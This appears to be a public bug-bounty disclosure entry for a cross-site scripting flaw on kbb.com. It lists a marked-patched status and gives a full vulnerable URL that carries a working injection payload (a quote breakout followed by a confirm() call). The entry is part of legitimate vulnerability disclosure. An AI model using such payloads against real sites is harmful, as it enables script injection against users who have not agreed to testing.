kbb.com XSS vulnerability

Vulnerable URL: http://www.kbb.com/instant-cash-offer/?LNX=TIMKBBHPRCMBAN=B';%20confirm/OPENBUGBOUNTY/;%20//=KBB Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1356 VIP website status:| Yes Check kbb.com SSL...